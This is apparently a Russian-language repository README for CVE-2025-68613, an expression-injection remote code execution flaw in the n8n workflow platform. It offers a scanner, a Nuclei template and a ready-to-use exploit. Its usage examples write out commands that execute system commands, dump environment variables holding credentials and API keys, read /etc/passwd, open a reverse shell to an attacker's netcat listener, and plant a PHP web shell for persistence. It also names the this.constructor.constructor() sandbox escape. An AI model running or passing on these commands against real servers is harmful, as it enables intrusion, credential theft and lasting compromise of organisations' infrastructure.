
Публичный PoC + сканер и исследование для CVE-2025-68613: критическое RCE в n8n Workflow Automation через инъекцию выражений (CVSS 10.0). Включает инструменты обнаружения, полный эксплойт и рекомендации по устранению уязвимости.

CVE-2025-68613 — это критическая уязвимость удалённого выполнения кода (RCE), обнаруженная в n8n, популярной платформе автоматизации рабочих процессов с открытым исходным кодом. Эта уязвимость позволяет аутентифицированным пользователям выполнять произвольный код на сервере, что потенциально может привести к полной компрометации системы.
n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям:
Организации используют n8n для:
Такая центральная роль в ИТ-инфраструктуре делает уязвимости особенно опасными, поскольку они могут предоставить злоумышленникам доступ к целым сетям и конфиденциальным данным.
Этот репозиторий содержит готовые к использованию инструменты для обнаружения уязвимости и проверки эксплуатации:
cve-2025-68613-scanner.pyНазначение: безопасное обнаружение уязвимых экземпляров n8n без эксплуатации
Возможности:
Использование:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Вывод**:
- Код выхода 0: уязвимость не обнаружена
- Код выхода 1: версия не определена (возможно, исправлена или скрыта)
- Код выхода 2: обнаружена уязвимая версия
### 2. Шаблон Nuclei: `CVE-2025-68613.yaml`
**Назначение**: автоматическое обнаружение уязвимостей и базовое тестирование вычисления выражений
**Возможности**:
- Требуется действительный токен аутентификации
- Проверяет возможность внедрения выражений
- Пытается прочитать глобальный контекст Node.js (process.platform)
- Создаёт тестовые сценарии для проверки вектора RCE
- Классификация уровня критичности: CVSS 10.0 Critical
**Использование**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyНазначение: Полноценный эксплойт proof-of-concept с несколькими атакующими пейлоадами
Возможности:
Требования:
Установка:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**Примеры использования**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
Как это работает:
this.constructor.constructor()process.platform или другие Node.js APIКоды выхода:
Простыми словами: n8n позволяет пользователям писать выражения в рабочих процессах для динамической обработки данных. Однако эти выражения выполняются без надлежащей песочницы, что позволяет злоумышленникам выйти за пределы предполагаемого контекста выполнения и запускать произвольный код на сервере.
Когда вы создаете рабочий процесс в n8n, вы можете использовать «выражения» для манипуляции данными. Предполагается, что эти выражения выполняются в ограниченной среде. Однако уязвимость показывает, что эти выражения могут получить доступ к базовой системе, что позволяет злоумышленнику: